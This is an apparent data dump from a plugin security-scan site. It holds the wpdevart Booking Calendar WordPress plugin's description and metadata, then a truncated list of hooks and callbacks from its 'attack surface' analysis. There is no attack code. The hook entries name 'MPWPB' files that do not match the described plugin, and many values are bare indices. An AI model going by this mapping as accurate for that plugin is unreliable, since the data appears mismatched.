System","3.2.36","wpdevart","https:\u002F\u002Fprofiles.wordpress.org\u002Fwpdevart\u002F","\u003Cp>Booking Calendar plugin is an nice and user friendly tool for creating reservation systems for your WordPress website. Create any type of scheduling calendar just in a few minutes.\u003Cbr \u002F>\nThere is a lot of settings and useful functions that you can use.\u003C\u002Fp>\n\u003Ch3>View our plugin Demo pages:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.wpdevart.com\u002Fdemo-booking-calendar\" rel=\"nofollow ugc\">Demo Page\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.wpdevart.com\u002Fdemo-booking-calendar-hours\" rel=\"nofollow ugc\">Hours Demo Page\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Our plugin have a lot of great features that you will like. Below we described some of useful features of our plugin.\u003C\u002Fp>\n\u003Ch3>Features of Free version\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Easy install and use\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Works great with all WordPress versions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fully Responsive\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited Forms and Extras\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reservation Calendars in Widgets\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set days availability(Available, Booked, Unavailable) and Price\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change Date format, Week days format\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Start Day of the week\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to select Unavailable week days\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change days selection type(Multiple days or Single day selection)\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to show\u002Fhide “Check in\u002FCheck out”, “Number of items”, Form and Extras titles\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to send email notification to user and administrator after book request submited or approved\u003C\u002Fstrong>  \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to send email notification to user after book request canceled or deleted(rejected)\u003C\u002Fstrong> \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to add unlimited text, checkbox, select and TextArea fields to the Form\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Filters for searching reservations\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reservation single View\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Multiple choice for select field\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Required option for each field in form\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to create unlimited Themes\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to approve book request instantly\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set scroll offset\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change the currency and default texts\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to Enable\u002FDisable Terms & Conditions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to show day info on hover for widget\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Uses CSS3\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User friendly back-end\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Tested on popular WordPress themes\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>You can upgrade the free version to \u003Ca href=\"https:\u002F\u002Fwpdevart.com\u002Fwordpress-booking-calendar-plugin\u002F\" rel=\"nofollow ugc\">Pro version\u003C\u002Fa> to add some great features.\u003C\u002Fp>\n\u003Ch3>Features of Pro version\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Fully design customization\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to book events by hours\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User permissions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set day Marked Price\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Operation type(+\u002F-) for Extra fields\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Price type(price\u002Fpercent) for Extra fields\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change price and percent for Extra field\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reservation Month View\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to redirect visitor to a new page after submission\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to add Information for users and administrators\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Maximum width\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to change font size, font weight and font style of elements\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to set Info Border radius, default Year and Month, background color, all fields background colors, text colors\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Features of \u003Ca href=\"https:\u002F\u002Fwpdevart.com\u002Fwordpress-booking-calendar-plugin\u002F\" rel=\"nofollow ugc\">Extended version\u003C\u002Fa>\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Multi-User functionality\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Different values for different days of week\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google ReCaptcha\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to use Discount option depending on the days\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Minumum day(hour) value\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Maximum day(hour) value\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to edit Reservations from admin panel\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Payment System\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Pay in cash functionality\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Integrated with PayPal\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>If you have any type of question occuring our plugin contact us at our plugin \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fbooking-calendar\" rel=\"ugc\">SUPPORT FORUM\u003C\u002Fa>.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>This plugin is one of the most important tool for any reservation website. Scheduling engine is an handy tool for creating any type of Scheduling system(for example Hotel and Restaurant booking, salon booking, meeting room booking, travel and tour shedulding, service and seat shedulding, car rent, event booking …).\u003Cbr \u002F>\nYou can also use our plugin for cottages, hotel rooms, houses, villas, apartments, bikes, technics, pools, beauty salons, spas, massage therapists, coaching, phone advice, consultation, conference, course, fitness center, yoga class or gym reservations. Our plugin will be helpful if you have one of this professions – doctor, dentists, clinic, medical, photographer, lawyer etc.\u003C\u002Fp>\n\u003Ch3>Step by step guide\u003C\u002Fh3>\n\u003Ch3>Calendars Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Scheduling Calendars, edit or delete existing.\u003Cbr \u002F>\nClick “Add” to create new one.\u003Cbr \u002F>\nType the name. Then choose Theme,Form and Extra.\u003C\u002Fp>\n\u003Cp>Then select the date(click on the start date, then click on the end date, if you need to select days from next months as well, then click on start date and change month from top and then select the end date)\u003Cbr \u002F>\nAfter you selected date you will see this options\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Set days availability – Set days status using this option(Available, Booked, Unavailable).\u003C\u002Fli>\n\u003Cli>Number Available – Set the number for available things(rooms, place or anything that users should book) in a day.\u003C\u002Fli>\n\u003Cli>Price – Type the price for one day.\u003C\u002Fli>\n\u003Cli>Marked Price – Type the marked price for one day.\u003C\u002Fli>\n\u003Cli>Information for users – Type here information for your users(they will see it on front-end).\u003C\u002Fli>\n\u003Cli>Information for administrators – Type here information for administrators(administrators will see it from admin panel). \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Reservations Page\u003C\u002Fh3>\n\u003Cp>On this page you can Approve, Reject, Cancel, Delete or just view Reservations.\u003C\u002Fp>\n\u003Cp>First you need to select the calendar you want to check(from top).\u003Cbr \u002F>\nThen you need to select the reservation and then change the status(also, you can select several reservations and then change their statuses from top).\u003Cbr \u002F>\nIf you want to see details then open it from top right side.\u003C\u002Fp>\n\u003Cp>You can use filters page to find reservations you need quickly and easier. Use the Status, select the Period or use search field.\u003Cbr \u002F>\nAlso, use the Month View, we think it’s an handy function.\u003C\u002Fp>\n\u003Ch3>Forms Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Forms, edit or delete existing Forms.\u003Cbr \u002F>\nClick “Add Form” to create new Form.\u003Cbr \u002F>\nType new form name. Then click on “Plus” button to add new fields or edit the default existing fields.\u003C\u002Fp>\n\u003Cp>You can add 4 different type of fields. You can add simple text field, TextArea, Checkbox and Select fields.\u003Cbr \u002F>\nOpen the field option from left for editing texts or selecting option.\u003C\u002Fp>\n\u003Cp>Don’t forget to save the new form that you have created.\u003C\u002Fp>\n\u003Ch3>Extras Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Extras, edit or delete existing Extras.\u003Cbr \u002F>\nClick “Add Extra” to create new Extra.\u003Cbr \u002F>\nType new extra name. Then click on “Plus” button to add new Extra fields or edit the default existing Extra fields.\u003C\u002Fp>\n\u003Cp>Open the extra field option from left, then set the option or remove the Items.\u003Cbr \u002F>\nAlso, check the options for every item. Type the Label, choose the Operation type, choose Price type, type the Price\u002FPercent.\u003C\u002Fp>\n\u003Cp>Save the new Extra field.\u003C\u002Fp>\n\u003Ch3>Themes Page\u003C\u002Fh3>\n\u003Cp>On this page you can add new Themes, edit or delete existing Themes.\u003Cbr \u002F>\nClick “Add Theme” to create new Theme.\u003Cbr \u002F>\nType new theme name.\u003C\u002Fp>\n\u003Cp>Then edit the General options.\u003Cbr \u002F>\nYou can set a different options for theme from this page such as Date format, Week days format, Start Day of the week, Enable instant approval and other options .\u003Cbr \u002F>\nOptions like\u003C\u002Fp>\n\u003Cp>Then open Styles and Colors tab and configure some design options.\u003Cbr \u002F>\nYou can set the Maximum width, font sizes, colors, background color and other design settings.\u003C\u002Fp>\n\u003Cp>Then open Notifications tab and configure it.\u003Cbr \u002F>\nFrom here you can edit(disable) all notifications that users or administrator will receive.\u003C\u002Fp>\n\u003Cp>Then open Default Texts tab and configure it.\u003Cbr \u002F>\nYou can change the default texts from here.\u003C\u002Fp>\n\u003Cp>At the end save the new Theme.\u003C\u002Fp>\n\u003Ch3>User permissions Page\u003C\u002Fh3>\n\u003Cp>On this page you can set your users permissions.\u003Cbr \u002F>\nYou can change users permission for our plugin all pages.\u003Cbr \u002F>\nFor example if you set user permission for Forms page to “Editor” Role, then all users that have this Role can get access for this page.\u003C\u002Fp>\n\u003Ch3>Uninstall Page\u003C\u002Fh3>\n\u003Cp>On this page you can remove our plugin, but if you uninstall the plugin this way then you will delete all Database Tables.\u003Cbr \u002F>\nIf you think that you can use our plugin in future then don’t use this page for uninstalling our plugin(use the WordPress plugins standard page for removing the plugin).\u003C\u002Fp>\n\u003Ch3>Featured Plugins Page\u003C\u002Fh3>\n\u003Cp>On this page you can check our Featured plugins.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>If you have any type of question occuring our plugin contact us at our plugin \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fbooking-calendar\" rel=\"ugc\">SUPPORT FORUM\u003C\u002Fa>.\u003C\u002Fstrong>\u003C\u002Fp>\n","Booking calendar plugin is an awesome tool for creating appointment booking calendars and Scheduling systems in a few minutes.",4000,595485,92,115,"2026-03-23T13:08:00.000Z","3.4.0","",[20,93,21,117,179],"reservation-calendar","https:\u002F\u002Fwpdevart.com\u002Fwordpress-booking-calendar-plugin","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking-calendar.3.2.36.zip",50,18,"2026-03-18 00:00:00",{"attackSurface":186,"codeSignals":952,"taintFlows":1098,"riskAssessment":1670,"analyzedAt":1681},{"hooks":187,"ajaxHandlers":770,"restRoutes":941,"shortcodes":942,"cronEvents":949,"entryPointCount":950,"unprotectedCount":951},[188,194,199,203,208,211,215,218,222,225,229,232,234,238,241,245,249,253,256,259,261,264,267,270,273,276,280,282,285,286,289,291,294,299,303,307,310,314,316,319,323,326,328,331,334,335,338,340,343,346,349,351,352,356,358,359,361,363,365,366,368,369,371,372,374,375,379,383,386,389,391,394,397,399,402,404,406,408,410,412,414,417,419,421,424,426,430,433,436,438,441,443,445,448,450,453,457,461,464,467,471,474,477,480,484,487,490,494,496,498,501,505,507,508,509,511,514,517,520,523,527,530,532,535,538,541,544,547,550,553,555,557,561,565,569,572,575,579,583,585,588,592,596,599,602,605,608,611,614,616,619,622,624,626,628,632,636,639,643,646,650,653,656,659,662,665,670,673,677,680,684,687,690,694,698,699,703,706,709,712,716,718,721,723,726,728,730,733,735,736,739,741,743,745,746,747,750,752,754,757,760,761,763,765,767,768,769],{"type":189,"name":190,"callback":191,"file":192,"line":193},"action","plugins_loaded","closure","Admin\\analytics-dashboard-loader.php",16,{"type":189,"name":195,"callback":196,"file":197,"line":198},"init","add_dummy_data","Admin\\MPWPB_Admin.php",13,{"type":189,"name":200,"callback":201,"file":197,"line":202},"upgrader_process_complete","flush_rewrite",14,{"type":204,"name":205,"callback":206,"priority":14,"file":197,"line":207},"filter","use_block_editor_for_post_type","disable_gutenberg",15,{"type":189,"name":209,"callback":210,"file":197,"line":193},"admin_action_mpwpb_item_duplicate","mpwpb_item_duplicate",{"type":204,"name":212,"callback":213,"priority":14,"file":197,"line":214},"post_row_actions","post_duplicator",17,{"type":204,"name":216,"callback":217,"file":197,"line":183},"wp_mail_content_type","email_content_type",{"type":189,"name":219,"callback":220,"file":221,"line":202},"admin_menu","add_analytics_menu","Admin\\MPWPB_Analytics_Dashboard.php",{"type":189,"name":223,"callback":224,"file":221,"line":214},"admin_enqueue_scripts","enqueue_scripts",{"type":189,"name":195,"callback":226,"file":227,"line":228},"add_cpt","Admin\\MPWPB_CPT.php",12,{"type":189,"name":230,"callback":231,"priority":14,"file":227,"line":198},"transition_post_status","flush_rewrite_on_service_publish",{"type":189,"name":195,"callback":233,"file":227,"line":202},"maybe_flush_rewrite_rules",{"type":189,"name":219,"callback":235,"priority":236,"file":227,"line":237},"mpwpb_hide_cpt_all_posts_submenu",999,130,{"type":189,"name":219,"callback":239,"priority":236,"file":227,"line":240},"mpwpb_reorder_service_list_submenu",161,{"type":189,"name":242,"callback":243,"priority":14,"file":244,"line":214},"add_mpwpb_settings_tab_after_date","add_settings_tabs","Admin\\MPWPB_Extended_Settings.php",{"type":189,"name":246,"callback":247,"priority":14,"file":248,"line":228},"wp_insert_post","create_hidden_wc_product_on_publish","Admin\\MPWPB_Hidden_Product.php",{"type":189,"name":250,"callback":251,"priority":252,"file":248,"line":198},"save_post","run_link_product_on_save",99,{"type":189,"name":254,"callback":255,"file":248,"line":202},"parse_query","hide_wc_hidden_product_from_product_list",{"type":189,"name":257,"callback":258,"file":248,"line":207},"wp","hide_hidden_wc_product_from_frontend",{"type":189,"name":250,"callback":251,"file":248,"line":260},74,{"type":189,"name":219,"callback":262,"file":263,"line":228},"quick_setup_menu","Admin\\MPWPB_Quick_Setup.php",{"type":189,"name":219,"callback":265,"file":266,"line":202},"add_reviews_menu","Admin\\MPWPB_Reviews_Admin.php",{"type":189,"name":268,"callback":269,"file":266,"line":214},"admin_init","handle_review_actions",{"type":189,"name":219,"callback":271,"file":272,"line":14},"service_list_menu","Admin\\MPWPB_Service_List.php",{"type":189,"name":274,"callback":275,"file":272,"line":73},"admin_action_mpwpb_duplicate_post","mpwpb_duplicate_post_function",{"type":189,"name":277,"callback":278,"file":279,"line":228},"add_meta_boxes","settings_meta","Admin\\MPWPB_Settings.php",{"type":189,"name":250,"callback":281,"priority":252,"file":279,"line":198},"save_settings",{"type":189,"name":219,"callback":283,"file":284,"line":202},"global_settings_menu","Admin\\MPWPB_Settings_Global.php",{"type":189,"name":268,"callback":268,"file":284,"line":207},{"type":204,"name":287,"callback":288,"file":284,"line":193},"mpwpb_settings_sec_reg","settings_sec_reg",{"type":204,"name":287,"callback":290,"priority":76,"file":284,"line":214},"global_sec_reg",{"type":204,"name":292,"callback":293,"priority":14,"file":284,"line":183},"mpwpb_settings_sec_fields","settings_sec_fields",{"type":189,"name":295,"callback":296,"priority":297,"file":284,"line":298},"wsa_form_bottom_mpwpb_license_settings","license_settings",5,19,{"type":189,"name":300,"callback":301,"priority":14,"file":284,"line":302},"updated_option","handle_slug_change",20,{"type":204,"name":304,"callback":305,"priority":14,"file":284,"line":306},"pre_update_option_mpwpb_general_settings","sanitize_slug_field",21,{"type":189,"name":219,"callback":308,"file":309,"line":228},"staffs_menu","Admin\\MPWPB_Staffs.php",{"type":189,"name":311,"callback":312,"file":313,"line":198},"woocommerce_account_dashboard","mpwpb_my_dashboard_content","Admin\\MPWPB_Staff_DashBoard.php",{"type":189,"name":219,"callback":308,"file":315,"line":14},"Admin\\MPWPB_Staff_Members.php",{"type":189,"name":219,"callback":317,"file":318,"line":228},"status_menu","Admin\\MPWPB_Status.php",{"type":189,"name":320,"callback":321,"file":322,"line":193},"mpwpb_wc_checkout_tab","tab_item","Admin\\MPWPB_Wc_Checkout_Account.php",{"type":189,"name":324,"callback":325,"priority":14,"file":322,"line":214},"mpwpb_wc_checkout_tab_content","tab_content",{"type":189,"name":268,"callback":327,"file":322,"line":183},"save_mpwpb_wc_account_field_settings",{"type":189,"name":329,"callback":330,"file":322,"line":302},"admin_notices","mp_admin_notice",{"type":189,"name":320,"callback":321,"file":332,"line":333},"Admin\\MPWPB_Wc_Checkout_Billing.php",23,{"type":189,"name":324,"callback":325,"priority":14,"file":332,"line":154},{"type":189,"name":268,"callback":336,"file":332,"line":337},"save_mpwpb_wc_billing_field_settings",25,{"type":189,"name":329,"callback":330,"file":332,"line":339},27,{"type":189,"name":195,"callback":341,"file":342,"line":214},"get_settings_options","Admin\\MPWPB_Wc_Checkout_Fields.php",{"type":189,"name":344,"callback":345,"file":342,"line":183},"add_mpwpb_admin_script","admin_enqueue",{"type":189,"name":347,"callback":348,"priority":252,"file":342,"line":298},"add_mpwpb_frontend_script","frontend_enqueue",{"type":189,"name":219,"callback":350,"file":342,"line":302},"checkout_menu",{"type":189,"name":329,"callback":330,"file":342,"line":306},{"type":189,"name":353,"callback":354,"priority":14,"file":342,"line":355},"add_switch_button","switch_button",22,{"type":189,"name":320,"callback":321,"file":357,"line":355},"Admin\\MPWPB_Wc_Checkout_Order.php",{"type":189,"name":324,"callback":325,"priority":14,"file":357,"line":333},{"type":189,"name":268,"callback":360,"file":357,"line":154},"save_mpwpb_wc_other_field_settings",{"type":189,"name":329,"callback":330,"file":357,"line":362},26,{"type":189,"name":320,"callback":321,"file":364,"line":193},"Admin\\MPWPB_Wc_Checkout_Settings.php",{"type":189,"name":324,"callback":325,"priority":14,"file":364,"line":214},{"type":189,"name":367,"callback":367,"file":364,"line":183},"mpwpb_save_checkout_fields_settings",{"type":189,"name":329,"callback":330,"file":364,"line":302},{"type":189,"name":320,"callback":321,"file":370,"line":355},"Admin\\MPWPB_Wc_Checkout_Shipping.php",{"type":189,"name":324,"callback":325,"priority":14,"file":370,"line":333},{"type":189,"name":268,"callback":373,"file":370,"line":154},"save_mpwpb_wc_shipping_field_settings",{"type":189,"name":329,"callback":330,"file":370,"line":362},{"type":189,"name":376,"callback":377,"file":378,"line":193},"mpwpb_show_category","category_settings_section","Admin\\settings\\Category.php",{"type":189,"name":380,"callback":381,"priority":14,"file":382,"line":228},"add_mpwpb_settings_tab_content","date_time_settings","Admin\\settings\\Date_Time.php",{"type":189,"name":380,"callback":384,"priority":14,"file":385,"line":228},"extra_service_settings","Admin\\settings\\Extra_service.php",{"type":189,"name":380,"callback":387,"file":388,"line":228},"faq_settings","Admin\\settings\\Faq.php",{"type":189,"name":223,"callback":390,"file":388,"line":198},"my_custom_editor_enqueue",{"type":189,"name":380,"callback":392,"priority":14,"file":393,"line":228},"gallery_settings","Admin\\settings\\Gallery.php",{"type":189,"name":380,"callback":395,"priority":14,"file":396,"line":228},"general_settings","Admin\\settings\\General.php",{"type":189,"name":380,"callback":381,"priority":14,"file":398,"line":228},"Admin\\settings\\MPWPB_Date_Time_Settings.php",{"type":189,"name":400,"callback":401,"priority":14,"file":398,"line":333},"mpwpb_settings_save","save_date_time_settings",{"type":189,"name":380,"callback":384,"priority":14,"file":403,"line":228},"Admin\\settings\\MPWPB_Extra_service_Settings.php",{"type":189,"name":400,"callback":405,"priority":14,"file":403,"line":198},"save_ex_service_settings",{"type":189,"name":380,"callback":392,"priority":14,"file":407,"line":228},"Admin\\settings\\MPWPB_Gallery_Settings.php",{"type":189,"name":400,"callback":409,"priority":14,"file":407,"line":198},"save_gallery_settings",{"type":189,"name":380,"callback":395,"priority":14,"file":411,"line":228},"Admin\\settings\\MPWPB_General_Settings.php",{"type":189,"name":400,"callback":413,"priority":14,"file":411,"line":198},"save_general_settings",{"type":189,"name":380,"callback":415,"priority":14,"file":416,"line":228},"price_settings","Admin\\settings\\MPWPB_Price_Settings.php",{"type":189,"name":400,"callback":418,"priority":14,"file":416,"line":198},"save_price_settings",{"type":189,"name":380,"callback":415,"priority":14,"file":420,"line":228},"Admin\\settings\\Pricing.php",{"type":189,"name":380,"callback":422,"priority":14,"file":423,"line":228},"recurring_booking_settings","Admin\\settings\\Recurring_Booking.php",{"type":189,"name":400,"callback":425,"priority":14,"file":423,"line":198},"save_recurring_booking_settings",{"type":189,"name":427,"callback":428,"file":429,"line":228},"mpwpb_show_service","view_all_services","Admin\\settings\\Service.php",{"type":189,"name":380,"callback":431,"file":432,"line":228},"service_details","Admin\\settings\\Service_Details.php",{"type":189,"name":380,"callback":434,"file":435,"line":198},"service_settings","Admin\\settings\\Service_Settings.php",{"type":189,"name":250,"callback":437,"priority":14,"file":435,"line":202},"add_custom_meta_on_post_create",{"type":189,"name":380,"callback":439,"file":440,"line":202},"staff_member_settings","Admin\\settings\\Staff_Member.php",{"type":189,"name":400,"callback":442,"priority":14,"file":440,"line":207},"add_staff_member_meta_on_post_create",{"type":189,"name":223,"callback":444,"file":440,"line":193},"enqueue_admin_assets",{"type":189,"name":380,"callback":446,"priority":14,"file":447,"line":228},"waiting_list_settings","Admin\\settings\\Waiting_List.php",{"type":189,"name":400,"callback":449,"priority":14,"file":447,"line":214},"save_waiting_list_settings",{"type":189,"name":451,"callback":452,"priority":14,"file":447,"line":298},"woocommerce_order_status_cancelled","notify_waiting_list_on_cancellation",{"type":189,"name":454,"callback":224,"file":455,"line":456},"wp_enqueue_scripts","Frontend\\MPWPB_Ajax_File_Upload.php",28,{"type":204,"name":458,"callback":459,"file":460,"line":193},"woocommerce_checkout_form_start","modify_checkout_form_start","Frontend\\MPWPB_Checkout_Form_Modifier.php",{"type":204,"name":462,"callback":463,"file":460,"line":298},"woocommerce_checkout_form_end","modify_checkout_form_end",{"type":204,"name":465,"callback":466,"file":460,"line":355},"woocommerce_checkout_posted_data","modify_checkout_posted_data",{"type":204,"name":468,"callback":469,"priority":28,"file":470,"line":193},"woocommerce_before_checkout_form","add_form_enctype_script","Frontend\\MPWPB_Direct_Form_Modifier.php",{"type":189,"name":472,"callback":473,"file":470,"line":298},"wp_footer","add_direct_form_modification",{"type":189,"name":268,"callback":475,"file":476,"line":193},"remove_duplicate_file_displays","Frontend\\MPWPB_Display_Fixer.php",{"type":189,"name":478,"callback":479,"file":476,"line":298},"admin_head","add_admin_css",{"type":189,"name":481,"callback":482,"priority":302,"file":476,"line":483},"woocommerce_admin_order_data_after_billing_address","display_uploaded_files",35,{"type":189,"name":481,"callback":485,"priority":302,"file":486,"line":339},"display_order_files","Frontend\\MPWPB_File_Display_Helper.php",{"type":189,"name":195,"callback":488,"file":486,"line":489},"remove_original_file_display",30,{"type":204,"name":491,"callback":492,"file":493,"line":193},"woocommerce_checkout_form_tag","add_enctype_to_checkout_form","Frontend\\MPWPB_Form_Hook.php",{"type":189,"name":468,"callback":495,"priority":297,"file":493,"line":298},"modify_checkout_form_for_file_upload",{"type":189,"name":472,"callback":497,"file":493,"line":355},"add_checkout_form_script",{"type":189,"name":499,"callback":500,"file":493,"line":337},"woocommerce_checkout_process","handle_file_upload_checkout_process",{"type":204,"name":502,"callback":503,"file":504,"line":198},"single_template","load_single_template","Frontend\\MPWPB_Frontend.php",{"type":189,"name":268,"callback":475,"file":506,"line":193},"Frontend\\MPWPB_Pro_Display_Fixer.php",{"type":189,"name":478,"callback":479,"file":506,"line":298},{"type":189,"name":481,"callback":482,"priority":302,"file":506,"line":483},{"type":189,"name":454,"callback":224,"file":510,"line":202},"Frontend\\MPWPB_Recurring_Booking.php",{"type":204,"name":512,"callback":513,"priority":14,"file":510,"line":306},"mpwpb_add_cart_item","add_recurring_data_to_cart",{"type":189,"name":515,"callback":516,"priority":14,"file":510,"line":154},"mpwpb_show_cart_item","show_recurring_info_in_cart",{"type":189,"name":518,"callback":519,"priority":14,"file":510,"line":339},"mpwpb_checkout_create_order_line_item","add_recurring_data_to_order",{"type":204,"name":521,"callback":522,"priority":14,"file":510,"line":489},"add_mpwpb_booking_data","process_recurring_bookings",{"type":189,"name":524,"callback":525,"file":526,"line":73},"mpwpb_service_show_ratings","show_ratings","Frontend\\MPWPB_Static_Template.php",{"type":189,"name":528,"callback":529,"file":526,"line":228},"mpwpb_service_feature_heighlight","features_heighlight",{"type":189,"name":528,"callback":531,"file":526,"line":198},"popup_feature_lists",{"type":189,"name":533,"callback":534,"file":526,"line":202},"mpwpb_service_nav","show_service_nav",{"type":189,"name":536,"callback":537,"file":526,"line":207},"mpwpb_service_overview","show_service_overview",{"type":189,"name":539,"callback":540,"file":526,"line":193},"mpwpb_service_faq","show_service_faq",{"type":189,"name":542,"callback":543,"file":526,"line":214},"mpwpb_service_details","show_service_details",{"type":189,"name":545,"callback":546,"file":526,"line":183},"mpwpb_service_reviews","show_service_reviews",{"type":189,"name":548,"callback":549,"file":526,"line":298},"mpwpb_added_staff_details","show_added_staff_details",{"type":189,"name":551,"callback":552,"priority":14,"file":526,"line":302},"mpwpb_progress_bar","mpwpb_progress_bar_callback",{"type":189,"name":454,"callback":224,"file":554,"line":214},"Frontend\\MPWPB_User_Dashboard.php",{"type":189,"name":454,"callback":224,"file":556,"line":202},"Frontend\\MPWPB_Waiting_List.php",{"type":189,"name":558,"callback":559,"file":560,"line":306},"woocommerce_after_order_notes","add_nonce","Frontend\\MPWPB_Wc_Checkout_Fields_Helper.php",{"type":204,"name":562,"callback":563,"priority":14,"file":560,"line":564},"woocommerce_checkout_fields","get_checkout_fields_for_checkout",290,{"type":189,"name":566,"callback":567,"file":560,"line":568},"woocommerce_after_checkout_billing_form","file_upload_field",291,{"type":189,"name":570,"callback":567,"file":560,"line":571},"woocommerce_after_checkout_shipping_form",292,{"type":189,"name":573,"callback":567,"file":560,"line":574},"woocommerce_after_checkout_order_form",293,{"type":189,"name":576,"callback":577,"priority":252,"file":560,"line":578},"woocommerce_checkout_update_order_meta","save_custom_checkout_fields_to_order",294,{"type":189,"name":580,"callback":581,"priority":252,"file":560,"line":582},"woocommerce_before_order_details","order_details",295,{"type":189,"name":481,"callback":581,"priority":252,"file":560,"line":584},296,{"type":189,"name":586,"callback":581,"priority":252,"file":560,"line":587},"woocommerce_admin_order_data_after_shipping_address",297,{"type":204,"name":589,"callback":590,"file":560,"line":591},"woocommerce_enable_order_notes_field","__return_false",365,{"type":204,"name":593,"callback":594,"priority":76,"file":595,"line":228},"woocommerce_add_cart_item_data","add_cart_item_data","Frontend\\MPWPB_Woocommerce.php",{"type":189,"name":597,"callback":598,"priority":76,"file":595,"line":198},"woocommerce_before_calculate_totals","before_calculate_totals",{"type":204,"name":600,"callback":601,"priority":76,"file":595,"line":202},"woocommerce_cart_item_thumbnail","cart_item_thumbnail",{"type":204,"name":603,"callback":604,"priority":76,"file":595,"line":207},"woocommerce_get_item_data","get_item_data",{"type":189,"name":606,"callback":607,"file":595,"line":298},"woocommerce_after_checkout_validation","after_checkout_validation",{"type":189,"name":609,"callback":610,"priority":76,"file":595,"line":302},"woocommerce_checkout_create_order_line_item","checkout_create_order_line_item",{"type":189,"name":612,"callback":613,"priority":76,"file":595,"line":306},"woocommerce_checkout_order_processed","checkout_order_processed",{"type":189,"name":615,"callback":613,"priority":76,"file":595,"line":355},"woocommerce_store_api_checkout_order_processed",{"type":204,"name":617,"callback":618,"priority":14,"file":595,"line":333},"woocommerce_order_status_changed","order_status_changed",{"type":189,"name":195,"callback":620,"file":621,"line":228},"language_load","inc